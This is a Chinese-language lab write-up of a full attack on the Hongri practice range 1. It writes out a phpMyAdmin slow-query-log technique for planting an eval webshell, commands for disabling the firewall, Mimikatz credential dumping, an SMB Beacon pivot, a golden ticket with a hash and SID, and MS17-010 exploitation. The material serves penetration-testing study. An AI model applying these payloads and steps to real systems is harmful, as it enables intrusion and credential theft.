红日靶场1学习笔记
一、准备工作
1、靶场搭建
靶场地址
靶场描述
靶场拓扑图

其他相关靶场搭建详情见靶场地址相关说明
2、靶场相关主机信息
后续打靶场的过程中,如果不是短时间内完成,可能ip会有变化
| 主机 | ip | 密码 | 角色 |
|---|---|---|---|
| win7 | 192.168.122.131 | hongrisec@2019! | 边界服务器 |
| win7 | 192.168.52.143 | hongrisec@2019! | 边界服务器 |
| win2008 | 192.168.52.138 | hongrisec@2019# | 域控 |
| win2003 | 192.168.52.141 | hongrisec@2019! | 域成员 |
| kali | 192.168.122.128 | 略 | 攻击机1 |
| win11 | 192.168.122.1 | 略 | 攻击机2 |
3、环境配置启动
启动win7的phpstudy
win 7能通域内其他主机和互联网

win2008 不能通互联网

二、web渗透
1、IP及端口的探测
goby、nmap都可以

2、访问相关端口,可以发现phpinfo页面

3、进一步进行目录爆破,发现phpmyadmin目录
其他相关文章还写到扫出来了备份文件,对后续文件上传拿到文件路径有帮助,但是我这边没有扫出来,和字典有关


4、通过弱口令登录phpmyadmin,弱口令root:root

5、先修改一下弱口令
如果是攻防赛中可以进行这一步,这里有点多余了

6、百度大法,发现可以通过数据库写入webshell
phpMyAdmin 渗透利用总结
法一:
直接往web目录下写入webshell
需要的条件:a、有权限写 b、知道web目录绝对路径
查看当前数据库用户是否有写的权限
show variables like '%secure%';
secure-file-priv特性:
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性
此处权限为默认NULL,不允许导入导出文件,另寻他法
补充:
如何设置这一属性?

法二:通过日志文件写入webshell
条件:日志读写权限+web目录的绝对路径
查看当前选项值
show global variables like '%long_query_time%'
开启日志记录功能
set global general_log = "ON";
查看当前日志文件
show variables like 'general%';

指定日志文件,相关路径phpinfo页面可以看到
set global general_log_file = " C:/phpStudy/WWW/zshell.php";
无法设置日志文件,另寻他法
法三:
尝试通过慢日志写入webshell
慢日志:一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
查询当前慢查询日志目录
show variables like '%slow%';

开启慢查询日志记录功能
set GLOBAL slow_query_log=on;
指定慢查询日志文件
这里就可以成功,为啥上面不能成功?
set GLOBAL slow_query_log_file='C:/phpStudy/WWW/zshell.php';
向慢查询日志中写入phpinfo页面
select "<?php phpinfo();?>" or sleep(11);
查看该日志文件可以成功被解析
进一步写入webshell
set GLOBAL slow_query_log_file='C:/phpStudy/WWW/shell.php';
select "<?php @eval($_POST['cmd']);?>" or sleep(11);

用蚁剑成功连接webshell


至此,通过phpmyadmin获取到了web服务器的相关权限
http服务和数据库肯定是为网站服务的
发现数据库中存在newyxcms数据库,搜索相关信息,可以在网上发现源码和相关漏洞

7、访问相关web页面,进一步挖掘漏洞
前面修改了数据库的密码导致访问报错,又重新修改了密码
http://192.168.122.131/yxcms/
通过公告信息,进入后台(默认弱口令)

前台模板管理处新建模板文件写入webshell进行漏洞利用
webshell 路径可以在公开源码中查看相关文件获取,也可以通过前面扫出来的网站源码获取,此处的版本和靶机cms的版本不同,但是文件路径一样,最好找相同版本的源码
通过蚁剑连接webshell

留言板存在存储型xss,后台审核可触发
其他文章中还提到了一个sql 注入漏洞,感兴趣的可以自行研究
三、后渗透
主要思路:通过cs生成木马上传到网站服务器进行下一步渗透,如域渗透和横向移动,权限提升和维持
1、通过蚁剑连接后,关闭防火墙
以防对后续测试造成影响,靶场有时候也很玄学
netsh advfirewall show allprofile state 查看防火墙状态
netsh advfirewall set allprofiles state off 关闭防火墙

2、通过cs生成木马并用蚁剑上传到网站服务器上
在cmd 中运行木马

3、主机上线后抓取用户名密码,进行内网存活主机端口扫描
抓取主机用户名密码,点击Run Mimikatz

还可以直接进行提权
主机相关信息收集
net group /domain 域内用户列表net group "domain computers" /domain 域内计算机列表net group "domain admins" /domain 域内管理员列表hostname 本机名称
net time /domain
查看时间,通过域控获取的时间,可以看到域控的主机名,ping一下可以获取域控的ipnet view
可以看到域里面的用户,ping 一下可以获取相关的ip
内网主机端口扫描
发现存在另外两台主机:192.168.52.138、192.168.52.141
查看域控,发现owa为域控

四、横向移动
1、搭建代理,进行端口转发
kali上开启frp 服务端
将客户端通过蚁剑上传到win7上,但是一直无法启动
看其他人可以成功,不知道什么问题,上传了这个dll文件也不行
2、通过SMB Beacon达到通内网的目的
网上说这是一个很隐蔽,可以绕过防火墙的好方法,咱也不懂,咱也不敢问
SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信
对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。
参考链接
创建一个新的SMB监听器

选择138的主机进行横向移动

138的主机成功上线,同样抓取密码,关闭防火墙


3、权限维持(黄金票据)
把SID,域名,复制下来等下黄金票据要用
hash:58e91a5ac358d86513ab224312314061:::SID: S-1-5-20域名:GOD.ORG
通过黄金票据提权
原理链接
回头再详细研究吧,先照猫画虎
右键->access->golden ticket

基本上可以通过CS 一把梭了,怪不得说CS是神器
4、cs与msf 联动进行漏洞利用
其实不用cs直接用msf也可以达到目的,不过是各有各的优势,组合起来各取所长
kali端

cs端



获取msf反弹shell,设置代理隧道,使得msf能够通过win7路由转发访问192.168.25.0/24网段
shell #相当于cmd
chcp 65001 #解决乱码
arp -a #查看主机arp表信息

建隧道


进一步利用ms17_010漏洞来探测攻击
同样也发现141主机存在相同漏洞
结束语:写到这里就结束了,一个靶场看起来不大,打起来还是有很多方法和注意的事项。比如说通内网的方法,有用frp的,还有用smb、写路由的,还有提权的各种方法,值得大家探索,毕竟多一种方法多一条路。靶场可以很快打完,但是写文章有时候也是比较麻烦的,不过这也算是一种修行。小小脚本小子,还需多多学习,写的不好的地方大家多多批评指正。还有七个靶场,继续加油!
每日名言:
别问兜里还有多少钱,就问你的青春还都多少年
苦难是生命的防沉迷系统
很多人看不到未来,其实是看到了未来
回忆不过是在时间的长河里刻舟求剑
我最新的照片,其实是我最老的照片
参考文章:
https://blog.csdn.net/qq_41821603/article/details/109948920
https://cloud.tencent.com/developer/article/1595245
https://blog.csdn.net/qq_52849046/article/details/139163010
https://blog.csdn.net/m0_66638011/article/details/139727914?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_baidulandingword%7ECtr-1-139727914-blog-136015522.235%5Ev43%5Epc_blog_bottom_relevance_base1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_baidulandingword%7ECtr-1-139727914-blog-136015522.235%5Ev43%5Epc_blog_bottom_relevance_base1&utm_relevant_index=1
相关文章:
红日靶场1学习笔记
一、准备工作 1、靶场搭建 靶场地址 靶场描述 靶场拓扑图 其他相关靶场搭建详情见靶场地址相关说明 2、靶场相关主机信息 后续打靶场的过程中,如果不是短时间内完成,可能ip会有变化 主机ip密码角色win7192.168.122.131hongrisec2019!边界服务器win…...
【C++篇】揭开 C++ STL list 容器的神秘面纱:从底层设计到高效应用的全景解析(附源码)
文章目录 从零实现 list 容器:细粒度剖析与代码实现前言1. list 的核心数据结构1.1节点结构分析: 2. 迭代器设计与实现2.1 为什么 list 需要迭代器?2.2 实现一个简单的迭代器2.2.1 迭代器代码实现:2.2.2 解释: 2.3 测试…...
【C#生态园】打造现代化跨平台应用:深度解析.NET桌面应用工具
选择最适合你的.NET UI框架:全面解析六种热门选择 前言 在现代软件开发中,选择合适的桌面应用框架和UI库对于开发人员来说至关重要。本文将介绍几种流行的.NET桌面应用框架和UI库,包括Eto.Forms、Avalonia、ReactiveUI、MahApps.Metro、Mat…...
第二十一章 (动态内存管理)
1. 为什么要有动态内存分配 2. malloc和free 3. calloc和realloc 4. 常⻅的动态内存的错误 5. 动态内存经典笔试题分析 6. 总结C/C中程序内存区域划分 1.为什么要有动态内存管理 我们目前已经掌握的内存开辟方式有 int main() {int num 0; //开辟4个字节int arr[10] …...
机器学习框架总结
机器学习框架是用于构建、训练、评估和部署机器学习模型的工具和库的集合。它们简化了模型开发过程,并提供了预构建的功能、优化的计算性能和对深度学习、监督学习、无监督学习等技术的支持。下面是一些主要的机器学习框架的详细介绍: 1. TensorFlow 1…...
docker pull 超时的问题如何解决
docker不能使用,使用之前的阿里云镜像失败。。。 搜了各种解决方法,感谢B站UP主 <iframe src"//player.bilibili.com/player.html?isOutsidetrue&aid113173361331402&bvidBV1KstBeEEQR&cid25942297878&p1" scrolling"…...
【数学分析笔记】第4章第3节 导数四则运算和反函数求导法则(2)
4. 微分 4.3 导数四则运算与反函数求导法则 双曲正弦函数 sh x e x − e − x 2 \sh x\frac{e^x-e^{-x}}{2} shx2ex−e−x 双曲余弦函数 ch x e x e − x 2 \ch x\frac{e^xe^{-x}}{2} chx2exe−x ch 2 x − sh 2 x 1 \ch^2 x-\sh^2 x1 ch2x−sh2x1 ( e…...
【2024】基于mysqldump的数据备份与恢复
基于mysqldump备份与恢复 mysqldump是一个用于备份 MySQL 数据库的实用工具。 它可以将数据库的结构(如数据库、表、视图、存储过程等的定义)和数据(表中的记录)导出为文本文件,这些文本文件可以包含 SQL 语句&#…...
家用无线路由器配置
一.首先进行线路连接。如下图:"光猫LAN口"—网线—"路由器WAN口"。 注意:家用光纤宽带一般选择使用200兆宽带到1000兆,如果网速不达标请查看路由器是否是千兆路由器。千兆路由器通常是双频的,支持两个信号一个…...
模拟算法(4)_外观数列
个人主页:C忠实粉丝 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 C忠实粉丝 原创 模拟算法(4)_外观数列 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记,欢迎大家在评论区交流讨论💌 目录 1. 题目链…...
vsomeip用到的socket
概述: vsomeip用到的socket的代码全部都在implementation\endpoints目录下面,主要分布在下面六个endpoint类中: local_client_endpoint_impl // 本地客户端socket(UDS Socket或者127.0.0.1的socket)local_server…...
MFC有三个选项:MFC ActiveX控件、MFC应用程序、MFC DLL,如何选择?
深耕AI:互联网行业 算法研发工程师 目录 MFC ActiveX 控件 控件的类型 标准控件 自定义控件 ActiveX控件 MFC ActiveX控件 标准/自定义控件 MFC ActiveX控件分类 3种MFC如何选择? MFC ActiveX控件 MFC 应用程序 MFC DLL 总结 举例说明…...
边缘概率 | 条件概率
关于什么是边缘概率分布和条件概率分布,在理论上,我自己也还没有理解,那么现在就根据我学习到的理解方式来记录一下,有错误指出,请大家指正!!! 例如,一个箱子里有十个乒乓…...
深入浅出:现代JavaScript开发者必知必会的Web性能优化技巧
亲爱的读者们,欢迎来到本期博客。今天,我们将深入探讨JavaScript开发者在日常工作中如何提升Web性能。在快节奏的Web开发世界中,性能优化至关重要。本文将分享一些实用技巧,帮助你构建快速、高效的Web应用。 1. 使用CDN加速资源加…...
【S32K3 RTD LLD篇5】K344 ADC SW+HW trigger
【S32K3 RTD LLD篇5】K344 ADC SWHW trigger 一,文档简介二,ADC SW HW 触发2.1 软硬件平台2.2 SWADC 软件触发2.3 SWBCTUADC 软件BCTU触发2.4 PITTRIGMUXADC 硬件PIT TRIGUMX触发2.5 EMIOSBCTUHWADC硬件EMIOS BCTU触发2.6 EMIOSBCTUHW LISTADC硬件EMIOS …...
TransFormer 视频笔记
TransFormer BasicsAttention单头注意力 single head attentionQ: query 查寻矩阵 128*12288K key matrix 128*12288SoftMax 归一 Value matrix 12288*12288 MLP Bas…...
前端的混合全栈之路Meteor篇(三):发布订阅示例代码及如何将Meteor的响应数据映射到vue3的reactive系统
Meteor 3.0 是一个功能强大的全栈 JavaScript 框架,特别适合实时应用程序的开发。它的核心机制之一就包括发布-订阅(Publish-Subscribe)模型,它允许服务器端发布数据,客户端订阅并实时更新。本文将介绍如何在 Meteor 3…...
自动驾驶系列—颠覆未来驾驶:深入解析自动驾驶线控转向系统技术
🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…...
Webstorm 中对 Node.js 后端项目进行断点调试
首先,肯定需要有一个启动服务器的命令脚本。 然后,写一个 debug 的配置: 然后,debug 模式 启动项目和 启动调试服务: 最后,发送请求,即可调试: 这几个关键按钮含义: 重启…...
VUE前后端分离毕业设计题目项目有哪些,VUE程序开发常见毕业论文设计推荐
目录 0 为什么选择Vue.js 1 Vue.js 的主要特点 2 前后端分离毕业设计项目推荐 3 后端推荐 4 总结 0 为什么选择Vue.js 使用Vue.js开发计算机毕业设计是一个很好的选择,因为它不仅具有现代前端框架的所有优点,还能让你专注于构建高性能、高可用性的W…...
Chapter03-Authentication vulnerabilities
文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法
树莓派摄像头高级使用方法 配置通过调谐文件来调整相机行为 使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 配置 大多数用例自动工作,无需更改相机配置。但是,一…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...
DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI
前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...
12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
